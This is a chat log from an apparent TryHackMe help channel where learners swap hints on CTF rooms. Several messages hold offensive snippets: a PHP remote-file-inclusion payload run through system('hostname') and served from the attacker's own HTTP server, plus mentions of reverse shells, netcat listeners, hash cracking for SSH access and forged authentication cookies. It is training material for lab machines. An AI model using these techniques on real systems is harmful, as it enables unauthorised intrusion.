orchid pebble
# left thunder Maybe try binwalk too.

Yeah bud, that's what I used early to get some little info I got from the PNG.

exiftool is not returning anything valuable..

Though, I saw a zlib data in the PNG, I diverted it to a file and try to examine it but nothing meaningful too😭

left thunder
orchid pebble
green minnowBOT
#

Gave +1 Rep to @left thunder

left thunder
orchid pebble
orchid pebble
green minnowBOT
#

Gave +1 Rep to @left thunder

hazy galleon
#

😋 😫 😩 😩 😩

#

🍴 🍴 🍴 🍞 🍞

white salmon
#

BioHazard is interesting ^^

#

any hints on the key section please? but not too much of a hint 😄

chilly bay
white salmon
#

Found it woo

zinc tree
#

hey yall, I've been struggling with part of the sakura osint dojo room, specifically getting the email address of the attacker (though I have been able to get the full name). Can anyone give me a hint or a direction to search? I've tried searching google using the username, fullname, and ||some ethereum wallet code thing (I'll be honest, I don't fully understand it) || without any luck so far.

brave holly
#

somebody did Hip Flask's room?

hazy galleon
#

Hi

#

it's new hello

#

Halo

polar finch
# zinc tree hey yall, I've been struggling with part of the sakura osint dojo room, specific...

in spoilers for everyone else, but not giving too much away : || you'll need their github, which i imagine you got from the username google search. one of the repos will give you an indirect way of getting their email address - easy if you're familiar with what's in the repo, if not googling should help you out. to stop you going too much down a deadend, as far as i know you can't get the email address from the ethereum wallet.||

full arrow
#

what is the command for windows troubleshooting? such a vague question. any help plz, I'm stuck 😩

green minnowBOT
#

Gave +1 Rep to @polar finch

zinc tree
full arrow
#

No, I found the path in system config tools

mossy elbow
#

cc:pen testing
im not sure what to do next,i found a secret directory and found a txt file

#

content of the file:
nyan:046385855FC9580393853D8E81F240B66FE9A7B8

midnight anchor
#

try to bruteforce the hash

mossy elbow
#

and then log in via ssh?

midnight anchor
#

most likely

mossy elbow
#

because that port was open

halcyon crystal
#

then I assume that you'll have to try escalating your privileges to get the content of root.txt

mossy elbow
#

yep i noticed

south nymph
#

Anyone with a tip on how to tackle Hacker of the hill, Hard Challenge, Container 3 (I love hills). I found an sql injection vuln. but dump of database was not useful.

mossy elbow
#

am i actually supposed to escalate my priviliges for the last answer?

#

its a beginner ctf so im not sure if im really supposed to do that

#

im actually curios what this sudo as admin successful thing is

visual scarab
#

I'm needing a hint for the Upload Vulnerabilities Room - Task 6 Remote Code Execution
When I attempt to execute a php reverse shell, I get the error on the browser page " WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111) ". Is this part of the challenge or am I running into a "bug"?

mossy elbow
#

nvm the answer was really simple

hollow scarab
vivid eagle
#

solving team room . from lfi i got ssh key but it said invalid key format.

#

key is openssh private key

ripe hedge
#

you removed all the invalid characters, yes?

dry gate
white salmon
#

OhSINT room any hints ?

left thunder
white salmon
candid token
#

hi i am doing overpass 3 room and im stuck i found backup.zip and cracked the xlsx file and read it but im stuck it wont work for ssh and VM seems crashing alll time, sometimes even wont i runned common.txt for other directories and found interesting one cgi-bin but im stuck any hints?

#

i didnt check ftp i will try it now

#

as i got now usernames and password i can log into ftp 🙂

pearl yew
#

someones did inferno's room?

#

hi, in the second login panel, the credentials my credentials aren'tworking, i watch write ups and idk wtf is happening, was the machine changed?

vivid eagle
#

Solving dogcat found lfi. web application append php to each input. using wrapper i can only read index.php how to read other files.

#
<?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
        $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
#

try to use null byte to bypass extention but failed.

pseudo wraith
#

hello, I can't get my reverse shell back in metasploit module : meterpreter room.

#

pls someone dm to me.

vivid eagle
#

check multi handler.

exotic echo
#

Hi I am doing the room: Simple CTF. I just finished all the questions except for these 2. I tried looking for the CVE in the exploit-db but no hits. any hints?

ruby cloud
#

Hi I've just got the credentials for the nax room but can neither login to the login portal or use the credentials for the metasploit exploits. Any help please?

#

I've got it!

#

However I am getting "This exploit may require manual cleanup of '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/pbCiSeWdPpQa.php'"?

#

It's ok, got that now, wrong exploit!!!!

polar finch
vivid eagle
green minnowBOT
#

Gave +1 Rep to @polar finch

fickle delta
#

https://tryhackme.com/room/25daysofchristmas I am currently doing this room, task 6, Day 1. The third question "After accessing his account, what did the user mcinventory request?" Did anyone do that and can give some hints? Do I just have to guess everything or can I find the right request?

#

Thought I would try earlier versions of Advent Of Cyber

left thunder
left thunder
candid token
#

its ±5 x2 table

fickle delta
candid token
#

did you changed the cookie?

fickle delta
#

wait

candid token
#

and its on the bottom

fickle delta
#

no? It doesn't ask to change the cookie

fickle delta
candid token
fickle delta
#

I got this v4er9ll1!ss

#

when decoding

candid token
#

so you already got it just craft the new cookie and decodi it again with different username as you created?

#

encode*

#

refresh the page and you will have it

fickle delta
#

What do you mean?
After accessing his account, what did the user mcinventory request? is the question. I don't understand

#

I meant

#

You said to craft a cookie. How do you do that? Google only gives me pictures of crafting table in Minecraft

left thunder
fickle delta
#

I don't understand

#

how do you craft cookies

left thunder
fickle delta
#

yes

left thunder
fickle delta
#

yes

left thunder
fickle delta
#

yes, I put it in the online decoder

left thunder
#

After you did that, you saw that this cookie (which in this case is used to authenticate the user) was build like Username+randomstring ?

fickle delta
#

yes

#

I pasted that random string

#

and it was okay

left thunder
#

So now you have to reverse that process. Take the username of the user you want to have access to the account of. Then append the random string of question 2 to it. And base 64 encode it now. So basically doing everything in the opposite direction now.

fickle delta
#

oh

#

never thought of that. I searched in Inspect Element, so that was the problem

fickle delta
green minnowBOT
#

Gave +1 Rep to @left thunder

mossy elbow
#

i dont understand why its not -v2 (nmap verbose flag)

left thunder
mossy elbow
#

so its -vv

#

i wonder why the official site doesnt even mention it

#

actually it does but indirectly

#

so if i wanted level 3 i would say -vvv?

left thunder
#

Right

trail goblet
#

Hi! Recently got to the end of Volatility and am having trouble with the last question. I tried googling as well. Question is:
What malware has our sample been infected with? Could someone help ?

#

I'm new - hope I have the right room.

honest wagon
#

If i remember it right...

#

Scroll thru all the info available for the results. Note the names different antivirus products identify this malware by

trail goblet
#

I tried the different names, about 3 different ones

honest wagon
#

Try not full ones

#

for example Worm.Win32.Rampage.f0000

#

Is Rampage

trail goblet
#

I just have my notes saying it's CSRSS.exe 584

rain shore
#

looking for a "push" in the right direction. Im on this room where i found a login and upload page. The login page seems injectable, but only for the username(?). It reveals the upload page, which states that i dont have permissions. any ideas what to look for here?

honest wagon
#

which room?

rain shore
#

dangerzone

honest wagon
#

1 sec

#

@rain shore #nc3ctf2021 DangerZone B2R?

rain shore
#

yup

honest wagon
#

Active CTF. We don't offer help for those

#

Sorry

rain shore
#

all cool

#

wasnt looking for a direct hint actually

honest wagon
#

No help at all

rain shore
#

cool cool 🙂 thanks anyway

honest wagon
#

❤️

#

gl

#

still a lot of time

rain shore
#

thank you. Have a nice evening (or whateverm depends on your location i guess)

white salmon
#

Testing autofarm :)

ancient shale
#

hi

untold willow
#

I am stuck on the Metasploit room. In Task 5 where I need to exploit the Ice box. I follow the instructions (I believe), but when I run exploit I get a "Exploit completed, but no session was created." Does anyone have a hint? The LHOST is set to my tun0 IP and the RHOSTS is set to the target box IP

dry mesa
#

Room: Network services Enum & Exploitation https://tryhackme.com/room/networkservices
Task: Enumerating SMB: Question 6
Question: I feel like I should know this already since it hasn't said a word about share sticks, I tried doing research but couldn't find a thing. Can somebody explain what share sticks are? The question relates to the OS info I believe, if you need: run this command and go to the OS section.

polar finch
dry mesa
green minnowBOT
#

Gave +1 Rep to @polar finch

dry mesa
#

I was over here thinking it was something technical...

plucky pecan
#

On "Authentication Bypass" Task i only get the result, but no Password:

:: Progress: [400/400] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

does someone have an idea what i did wrong?

left thunder
plucky pecan
green minnowBOT
#

Gave +1 Rep to @left thunder

real aspen
dry gate
#

Because rockyou.txt has 14 millon passwords

real aspen
#

i wasn't talking about the passwords tho

dry gate
#

I just don't understand what you're talking about when you say "more usernames than we can manually input in a file".

real aspen
#

*without

#

i'm new to this so it was just a thought

dry gate
real aspen
#

thought about trying|| curl {command_opt} >> valid_usernames.txt | grep {regex} | cut -d ' ' -f 1||

#

sorry not ||curl but ffuf||

#

never got around to try it though cos now i'm stuck on task 2 of SSRF in the #junior-pentester-path . anyone help with hints? its driving me nuts 😫

dry gate
real aspen
#

yeah, the basic idea i had was to pipe the output of the wordlist ffuf command to grep and cut per line of the valid_usernames.txt file selecting just the first column in the line. Don't know if that makes sense yet. didn't try it

maiden furnace
#

Linux Fundamentals 3 Task 4: Anyone able to offer a hint which "home" directory I should be starting a web server - I've tried /home /etc and pretty much all others, but I'm unable to wget the flag

versed leaf
#

After that, use the directory they give you in the next question to pull the file

dry gate
simple perch
#

hey all, im stuck on Task 8 of the SQL Injection room. Ive gotten to the point where ive figured out the table name and column names. when i go to query the info in the columns i cannot seem to get anything

left thunder
left thunder
simple perch
left thunder
simple perch
green minnowBOT
#

Gave +1 Rep to @left thunder

left meadow
#

Greenhorn here, but i've used windows since i was a small boy.
im stuck on the Windows Fundamentals 1 in Learning.

Besides Clock, Volume, and Network, what other icon is visible in the Notification Area?
6* 6* ?

I've tried literally everything and i can't think what it is 😂

loud nebula
#

right click

left thunder
left thunder
left meadow
onyx plank
#

nmap -sn 172.16.x.x/16 what to do

left thunder
cyan plover
onyx plank
#

0.0?

cyan plover
#

Mayhaps scarfWink

ripe hedge
#

Try it

onyx plank
#

Nice thx lol

#

Thought it was just the IP being hidden if that makes sence

ripe hedge
#

They give you the netmask though

left meadow
#

someone ELI5 so i can move past this point in my life

left meadow
left thunder
left meadow
#

profanities UK english spells the second word differently...

left thunder
#

?

left meadow
#

US: Center
UK: Centre

#

so i used the english one and ... Uh-Oh! Wrong Answer!

left thunder
#

Ah, okay. Well ^^

left meadow
#

sorted ... now i can move on with the next question - see you in 5 😂

left meadow
#

I'm really not having fun with the windows machines in the learning sections.
Account Status? Says "ok" to my eyes, but its not correct. I think a lot of the answers are too ambiguous

#

like, "change to small icons" is greyed out on the machine so...?

dry gate
#

I don't remember having a lot of fun with the windows fundamentals rooms hehehe. Also a UK person here XD

left meadow
#

The linux section was brilliant! I've only used linux for 2 years and only recently really starting actually USING it for productive stuff. Windows machines i've used since a small boy and ... yea

dry gate
#

I remember crawling through the Windows section. I remember not having a lot of fun with it.

#

There are write-ups you can check if you want and then you can go looking for why the answer is what it is.

left meadow
high prairie
#

Yeah I had issues with that room too

#

The last setting wasn’t the one they were looking for when I did it

dry gate
proven willow
#

https://tryhackme.com/room/agentsudoctf
In task 3, we are supposed to open a password protected txt file. I did that via the File Explorer UI in Kali, but I was curious as to how to do that via CLI?

vapid vine
#

the zip file?

#

you can unzip with password using unzip -P

main gust
#

hello all i facing issue in Blue room

#

meterpreter > ps
[-] Error running command ps: Rex::TimeoutError Operation timed out.

maiden furnace
#

Linux Fundamentals 3 Task 4: what am I doing wrong here?

sturdy hearth
# maiden furnace Linux Fundamentals 3 Task 4: what am I doing wrong here?

Did you check where is the .flag.txt file located?
IIRC, it should be inside ||/home/tryhackme||
Your request, wget .../home/.flag.txt translates to the file -
/home/home/.flag.txt
Because you started the HTTP server inside /home

So you could either start your server inside ||/home/tryhackme||
Or GET - ||wget .../tryhackme/.flag txt||

maiden furnace
sturdy hearth
#

If you don't specific a directory/folder then the server starts with respect to the current directory
There is -d flag as well to specify a directory to run the server within😄

trail oak
#

Solved on my own, please ignore

RQ for Help: Room https://tryhackme.com/room/burpsuiterepeater
trving to get a 500 response and flag from the server while using burp repeater on the products requests https://ROOMIP.p.thmlabs.com/products/3
exchanging in repeater the 3 for text or impossible numbers only give me a 404 answer on my requests:
For example:
GET /products/example-text HTTP/1.1
gives answer response:
HTTP/1.1 404 NOT FOUND

0 or other high or minus numbers give the same

trail oak
trail oak
hidden lintel
#

Hello Guys , is there any room to practice SQLMAP deeply?

silver creek
#

Hello I need help at task 5 spoofing and decoys

#

Please

mental coral
#

This seems like a trivial question, but I’ve been all over the web…
Linux Part 3
VIM
Task 2
How do we enter INSERT mode? i
How did we start entering text into our new VIM document? I have no idea. I think the answer is, start typing. Supposed to be six characters. #
Help!

crisp arch
#

Anyone done the Regular expressions room?

tulip mural
hidden lintel
#

Ca. You share any link of it

#

This one?

#

Got it.

#

Thanks again.

tulip mural
#

This one too

hidden lintel
#

Thanks a lot. I was trying to find it from a very long time.

tulip mural
#

NP mate

hasty zodiac
#

Any hint for advent of cyber T11Q5?
Use the credentials to login into the web application. Help McSkidy to recover the server's password. What is the password of the flag.thm.aoc server?

#

Oh are you freaking serious....

#

....

#

Nah, I'm not gonna say anything about it...

mental coral
#

Toolbox: VIM, Task 5, last question:
How do we use "grep" to search for a pattern in multiple files?
Everywhere I look, the answer is vimgrep. THM seems to want a 7-character answer. But it doesn't accept vimgrep. Pulling my hair out.

tulip mural
cedar anvil
#

Any hint for "Masterminds" room, Task 3 Second last question "amount dns queries"?

red terrace
mental coral
green minnowBOT
#

Gave +1 Rep to @tulip mural

barren gazelle
#

In the "Network Services" room, in the last chapter "Exploiting FTP" there is a second file inside the folder, which is a ruby script, named "futurebackup.rb". I know it's not part of the chapter, but I tried replacing the IP with mine to get a nc connection, but looks like it's not getting executed. Is the script even being executed at some interval or is it just there to mess with you?

proper flax
#

i think you should be using http-post-form 🙂

pure lintel
#

hi, I'm working on the room File Inclusion (fileinc), and I'm down to the playground. I haven't managed to gain RCE. What I'm doing, I created a payload text file on github (I confirmed public access). The content of the file is just <?php system(hostname);?> and I am imputing the url of the text file in the box. I'm new to this and I'm not php savvy, but I am trying to extend from yesterday's AoC3

sturdy hearth
#

The target machine may not have internet access to be able to access a file hosted on GitHub
You can try to host it on your attacking machine, using python3 -m http.server <PORT>
And there is a minor correction to your payload
It should be -

<?php
  echo system("hostname");
?>

The command within "..."

pure lintel
#

thanks! I'll try again using github, since the machine's firefox could open it, just to double check. But I much rather the server route to avoid commits and editing somewhere else. I'll report on the github access in a bit

junior wave
#

Just a little note for the second network services room, on the very last step for nfs enumeration it will ask you to put in a password when it shouldn't. You can bypass this by typing Sudo before you enter the command

tulip mural
lucid fiber
#

Hello guys!
I'm currently having fun on the Mustacchio challenge but honestly it's been like 2 days that I'm trying to come up with a solution on my own but I can't go forth 😅
I found a username and a hashed password that I cracked with john but the only service that I can exploit is SSH (port 22) but it asks for a key-based authentication

#

Any hints chads?

#

feel free to ping me

pure lintel
# sturdy hearth The target machine may not have internet access to be able to access a file host...

Still having a bit of trouble. I followed your advice and am using http.server. Payload reads identical to yours, so I am guessing now the problem must be I am not getting the file inclusion right. I am using <ip>/playground.php?file=http://0.0.0.0:<port>/payload.txt when I type everything on the right of the = I do get the contents of the file which match what you posted here (including the double quotes). Can you tell what I am missing?

left thunder
pure lintel
#

OH, but this is executed on the server side!

left thunder
pure lintel
#

now I'm using the attacbox's public IP and no longer get the warnings (still don't see the flag, so I'll dig in... different is good!)

#

I am getting the url after "File Content Preview of", but nothing else. The source code for the page has an empty html code tag. I am still missing something. Let me go over what I am doing again, I probably have a serious misunderstanding.

  1. payload.txt contents accessible from <pubIP>:<port>/payload.txt
<?php
  echo system("hostname");
?>
  1. I am typing in the address bar of the browser:
    http://<tgtIP>/playground.php?file=http://<pubIP>:<port>/payload.txt

Should this be it?

plucky pecan
#

Hi guys, i´m stuck on Task 9 in "Uploadvulns". I uploaded a payload, but i cant navigate to directory (as it is stated in the task). When i visit the URL to my payload in the browser, it just prints the payload, but i dont get a shell. What am i missing?

vapid vine
#

content type?

plucky pecan
pure lintel
pure lintel
autumn yew
#

Hello, i'd need some hint on "Reversing ELF" for the 2nd crackme:
i already find the solution using ghidra but i'd like to train w/ gdb and i'm probably missing something :/

i think i correctly identify the line where the input is compared with the needed password but don't find out how to recover the string :c
set up a breakpoint at the memory address
so the desired string should be on the eip pointer nah?

hasty zodiac
mental coral
#

Windows Fundamentals 1, Task 6
Name of the other user account?
I RDP'd into the windows VM with Remmina. In Other User, I see a local account called TRY HACK ME.
However, this is not accepted as the answer, which wants a single, 16-character string. Took me a long time to get this far. I'm now stumped.

gritty adder
#

i am stuck cant get past this pointNmap done: 1 IP address (1 host up) scanned in 1.78 seconds
root@ip-10-10-205-115:~# mongo
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27017
2021-12-09T04:14:19.276+0000 W NETWORK [thread1] Failed to connect to 127.0.0.1:27017, in(checking socket for error after poll), reason: Connection refused
2021-12-09T04:14:19.276+0000 E QUERY [thread1] Error: couldn't connect to server 127.0.0.1:27017, connection attempt failed :
connect@src/mongo/shell/mongo.js:251:13
@(connect):1:6
exception: connect failed

#

mongo wont load...so im stuck..tried everything i know

#

so im stuck on #7 In Advent of Cyber

#

5 hrs of this....im going to bed...night all

gritty adder
#

I realize this should be in room help...sorry

ripe hedge
ripe hedge
toxic fjord
#

Hi all. What am I doing wrong? I’m in the Network Services -> Exploiting SMB room. I’ve got the id_rsa file that could be obtained from the profiles SMB share. The last question implies I should already know the username - but I don’t. The enum4linux script gave me some smb usernames, but they don’t seem to work. The “users on <machine IP>” section in enum4linux is blank. Each attempt to use a username with the ssh key (chmoded to 600) still asks for a password.

#

Disregard

coral zinc
#

hi , anyone did the theseus machine for a dm ?

tardy pumice
#

Silly question maybe? I'm trying to copy/paste the payload over to the AttackBox for Advent #4 - but the system doesn't appear to share the clipboard. How do I copy it over?

somber sage
#

I opened attack window in a new tab and i was abke to copy paste

oblique plank
green minnowBOT
#

Gave +1 Rep to @oblique plank

mental coral
#

Random comment: I've posted about four questions here, when I get really stuck after a lot of trying. I usually break for the night then. Several times now, I've gone back to the problem with fresh eyes and solved it. Same thing happens when I struggle to master a new drum pattern. Sometimes, the next day, it just comes.

ripe hedge
ripe hedge
coral zinc
#

I need some one Who finished thé machine for a dm i'm kinda stuck with Last flag

ripe hedge
#

Oh that one is a mean one

#

There something missing in the file

coral zinc
#

@ripe hedge can i dm you ?

ripe hedge
#

I'm only going to give hints on that room

coral zinc
#

ik, the header was empty so i tried some tricks but got nothing so far

ripe hedge
#

need to figure out what the file type is

#

there is a hint in the file

coral zinc
#

i think i made a mistake while editing that head now i see something 🙂

#

thank you @ripe hedge

green minnowBOT
#

Gave +1 Rep to @ripe hedge

ripe hedge
#

cool

coral zinc
#

@ripe hedge the hint should lead directly to athens or the file has something else ?

ripe hedge
#

should have what you need

white salmon
#

Hi everybody i have a question. I deal with "Upload Vulnerabilities" room, Task 5 "Remote Code Execution". I try to run netcat command ( nc -lvnp 1234) But the response is like that:
Listening on [0.0.0.0] (family 0, port 1234)
and i cannot run it. Why do I make a mistake?

left thunder
white salmon
#

netcat doesn't response

left thunder
glossy perch
#

Thanks! I had the same problem, your suggestion worked.

green minnowBOT
#

Gave +1 Rep to @ashen estuary

white salmon
#

i use the attack box and. i clicked start machine button and after that used that ip address

#

sorry for my awful english

left thunder
white salmon
#

ip address of the attack box

left thunder
white salmon
coral zinc
left thunder
white salmon
#

i tried it but it comes just white blank page. There is not error msg etc.

left thunder
#

Other then that, you might want to verify in order to be able to send screenshots in here. Then make a screenshot of your rev shell file contents and upload it in here.

#

!docs verify

proud scarabBOT
white salmon
#

thanks for your help

coral zinc
icy sun
#

Hey dear people!
Did anybody do the Cybercrafted-Room and can give me a hint? I stuck at the 4th question: "On what page did you find the vulnerability?"

#

I couldn't find any php files with wfuzz except the index and redirects to it... So I really wonder what i'm doing wrong or for with which file extensions i should search

#

already tried to fuzz all subdomains for folder and php's.
So any hint for the question?

mild bolt
#

I'm having problems with Linux Fundamentals Part 3, Task 4. I tried to figure it out but got a little lost, how am I going to connect to MACHINE_IP? And am I even on the right machine? I used the THM AttackBox, and that doesn't even have a tryhackme user. Thanks for your time

left thunder
left thunder
mild bolt
#

oh okay ty

quasi falcon
#

I'm following the "Complete Beginner" path and I'm doing the OWASP Top 10, on task 15 it asks to "Try the payload mentioned in description on the website". Am I supposed to already be able to know how to send payloads to websites?

latent pulsar
#

Hey everyone, I'm in the GoldenEye room right now and after two days of trying to figure out the answer to Q2 of Task2 I caved. How was I supposed to know the username was ||Natalya||? Did I miss something?

tardy pumice
#

frustrated OK, I've tried the adventofcyber3 now quite a few times. The video is just off enough that I am having a hard time following with the guy going that fast. I'm trying to follow the text and something just isn't going correctly. Once I have Burp up and "Intercept" is up, FireFox isn't able to navigate to the site.

left thunder
tardy pumice
#

adventofcyber3 - attackbox.

#

I think part of my problem was I was trying to follow the video... but he's not using attackBox and with the added jumping around to screen out IP addresses shrug think there's some differences in there.

#

Or, more than likely I'm screwing it up lol